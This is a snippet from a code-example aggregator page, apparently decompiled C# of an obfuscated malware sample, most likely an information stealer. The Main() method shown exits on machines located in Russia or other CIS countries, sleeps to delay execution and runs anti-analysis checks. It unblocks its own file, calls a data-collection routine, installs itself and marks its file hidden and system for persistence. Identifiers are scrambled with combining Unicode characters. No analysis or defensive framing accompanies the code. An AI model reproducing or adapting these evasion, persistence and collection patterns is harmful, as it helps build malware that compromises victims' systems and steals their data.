            Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp.Clear();
            GC.Collect();
            Class_82.vmethod_245(str_, "s");
            Class_82.cmethod_244();
            Class_81.smethod_240();
        }
コード例 #4
0
 private static void Main()
 {
     if (!Class_84.\u032F\u0E47\u036F\u0343\u033C\u0305\u0309\u0355\u0353\u0362\u0315\u0331\u0020\u034E\u035E\u0347mxtxdsjuhndvlqiy\u0313\u0347\u0E47\u031A\u031D\u0343\u030B\u032F\u0E47\u0356\u0E47\u0340\u0303\u0020\u0348\u0349hgqeoiqsmultzltm)
     {
         string[] array = new string[]
         {
             "[Armenia]",
             "[Azerbaijan]",
             "[Belarus]",
             "[Kazakhstan]",
             "[Kyrgyzstan]",
             "[Moldova]",
             "[Russia]",
             "[Tajikistan]",
             "[Uzbekistan]",
             "[Ukraine]"
         };
         for (int i = 0; i < array.Count <string>(); i++)
         {
             if (array[i] == Class_47.Country())
             {
                 Environment.Exit(0);
             }
         }
     }
     Thread.Sleep(Class_84.\u0331\u0364\u0347t\u0325a\u0329\u0358\u0340\u0304a\u0327\u0342\u0350\u0342\u0347vbsoryqufuelhrug\u0364\u030C\u0347\u0315\u0316\u035C\u034Fr\u0020\u034E\u035A\u035A\u031A\u035E\u0E47\u0324xqsmhtcpkisrgygk * 1000);
     if (Class_84.\u0340\u033A\u0362\u034D\u0322\u0348\u0322\u0020\u032A\u0356\u0335\u0320\u0E47\u035F\u0365\u0E47urcffapyhllejvvh\u0326\u033C\u0320\u0363\u0355\u034E\u0353\u036B\u033C\u0317\u0325\u0367\u030E\u0340\u0331\u0346ofmlsoyrefvyzfoq)
     {
         Class_46.pmethod_129();
     }
     if (Class_84.\u035F\u0324\u0358\u0309\u035C\u0311\u036A\u036D\u0E47\u0339\u0303\u0313\u0347\u0020\u030C\u030Coyuihudjpxwkdgkx\u0359\u036B\u0332\u035D\u0335\u033C\u0366\u0E47\u0346\u0020\u0489\u0345\u0346\u0306\u0316\u033Arjnqspomwohgklvm)
     {
         Class_46.smethod_130();
     }
     if (Class_84.\u0348\u0E47\u0340\u0020\u0320\u0308\u0349\u0332\u035A\u0315\u0345\u036B\u036F\u0020\u0350\u035Adisjjlklfefcyfvc\u0369\u0363\u033A\u0303\u034E\u0359\u030E\u0320\u0020\u0317\u0347\u0E47\u033D\u0E47\u0350\u031Fjjibrkqcbodxmgdg)
     {
         Class_24.NClass_0 nclass_ = new Class_24.NClass_0();
         if (Class_92.pmethod_259())
         {
             Class_92.smethod_260();
         }
         Class_24.NClass_0 nclass_2 = nclass_;
         Task[]            array2   = new Task[1];
         array2[0]        = new Task(new Action(Class_24.NClass_1.field_3.nmethod_4));
         nclass_2.field_2 = array2;
         new Thread(new ThreadStart(nclass_.nmethod_1)).Start();
         Class_51.pmethod_149();
     }
     try
     {
         Class_47.Unblock(Class_75.\u0020\u0339\u0E47\u0020\u0331\u0306\u0363\u0301\u0313\u0342\u0E47\u036F\u0356\u0351\u0324\u0367ftjstwztujtxtvaj\u0316\u034B\u0339\u0356\u0E47\u035A\u0367\u0306\u0348\u0020\u0020\u0331\u031A\u0316\u035C\u032Eopsmlarbetcxggfj);
     }
     catch
     {
     }
     Class_82.tmethod_242();
     if (!Class_84.\u0355\u0349\u0337\u033D\u0308\u0E47\u0308\u032C\u0E47\u0331\u034E\u032C\u0310\u0320s\u0355fdigcqesbhiigaee\u0344\u0360\u0020\u034D\u0359\u033C\u0E47\u0020\u035C\u036B\u033F\u0368\u034E\u033A\u0347\u0350gahbtcsvsbuaqvje && File.Exists(Class_47.\u0349\u0308t\u0324\u0329\u0306\u033Ae\u0340\u0341\u036B\u0351\u0E47c\u0363\u0363xrkhflctjjgrafhq\u036A\u0E47\u0302\u0368\u0020\u032C\u035E\u0349\u0359\u0020\u0020\u0489\u0333\u030C\u0347\u032Cdfodarkersxinukm + "\\oof" + Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz))
     {
         Class_24.field_0 = true;
     }
     if (!Class_24.field_0 && Class_84.\u0020\u0331\u0341\u0347\u0304\u0327\u0334\u032C\u0317\u035D\u030E\u0351\u0331\u0304\u0020\u0360mtmtdbpzapbbmygp\u0020\u0020\u0020\u0315\u0344\u032F\u0341\u0311\u0340\u0366\u0020\u0302t\u033C\u035B\u034Etfyuggdqskiihiqe)
     {
         Class_95.cmethod_264();
     }
     if (!Class_24.field_0)
     {
         Class_53.GetCollection();
         Class_81.xmethod_241();
         if (Class_84.\u0E47\u0303\u034E\u0020\u033C\u031D\u0332\u0332\u035D\u0353\u0E47\u0349\u032E\u0342\u030F\u0489wphcwpkgyxbvyrtx\u033D\u030C\u0303\u0320\u033A\u033B\u033F\u036D\u0340\u0339\u0330\u030Dn\u030B\u0343\u0317llcbspktsvxvqtwp)
         {
             Class_75.install();
         }
         if (Class_84.\u0312\u0363\u030D\u0349\u034F\u0345\u0E47\u032E\u0369\u0329\u0355\u0308\u0320\u035A\u0329\u0349ngvvukjkozgellfb\u035F\u036D\u0347\u032C\u0339\u0317\u0E47\u0020\u0355\u035A\u0306\u0317\u036B\u032D\u0347\u035Cntqccjcdelkcuofr)
         {
             Class_87.tmethod_252(Class_84.\u0342\u0352\u0341\u0020\u0E47\u0340\u0322\u0344\u0355\u032F\u035A\u0342\u0363\u0338\u0301\u0367kbraamkkqtqhtdau\u0363\u0314\u0369\u0333\u0360\u0329\u0020\u033B\u032F\u035C\u0300\u034B\u0317\u030D\u0363\u0308jovqfkfgmkngtiba);
         }
         if (Class_84.\u033F\u0301\u031C\u035A\u0328\u032E\u0367\u0324\u0355\u0E47\u0339\u0344\u0309\u033F\u0312ibnzxidndaraumiqy\u0330\u031F\u0368\u035B\u035C\u032F\u0315\u030B\u0339\u036B\u031A\u034D\u0320\u0322\u0341\u0315ctgxkanezkhzevwg)
         {
             Class_8.xmethod_11();
             return;
         }
     }
     else if (Class_84.\u0E47\u0303\u034E\u0020\u033C\u031D\u0332\u0332\u035D\u0353\u0E47\u0349\u032E\u0342\u030F\u0489wphcwpkgyxbvyrtx\u033D\u030C\u0303\u0320\u033A\u033B\u033F\u036D\u0340\u0339\u0330\u030Dn\u030B\u0343\u0317llcbspktsvxvqtwp)
     {
         if (Class_84.\u0330\u031D\u035A\u0320\u036F\u0353\u0E47\u0489\u0343\u0020\u0360\u0020\u0349\u0E47\u0356\u0304bphbaeparcjvxixg\u035D\u0E47\u0347\u032C\u0331\u0331\u033F\u036D\u0358\u0318\u0020\u0301\u0356l\u034E\u036Behaqkzdjsqiftupt)
         {
             Class_12.set_hidden();
         }
         if (Class_84.\u0368\u030F\u0345\u0350\u033At\u0339\u035B\u0020h\u0315\u0363\u0307\u0E47\u0347\u035Cyxeovnvyxbscxmtz\u035A\u032F\u0340\u034D\u0369\u0335\u034B\u0340\u036B\u0331\u0367\u0354\u0300\u0360\u033B\u0364lqhfdqogemlgdoty)
         {
             Class_12.set_system();
         }
         if (Class_84.\u033F\u0301\u031C\u035A\u0328\u032E\u0367\u0324\u0355\u0E47\u0339\u0344\u0309\u033F\u0312ibnzxidndaraumiqy\u0330\u031F\u0368\u035B\u035C\u032F\u0315\u030B\u0339\u036B\u031A\u034D\u0320\u0322\u0341\u0315ctgxkanezkhzevwg)
         {
             Class_8.xmethod_11();
         }
     }
 }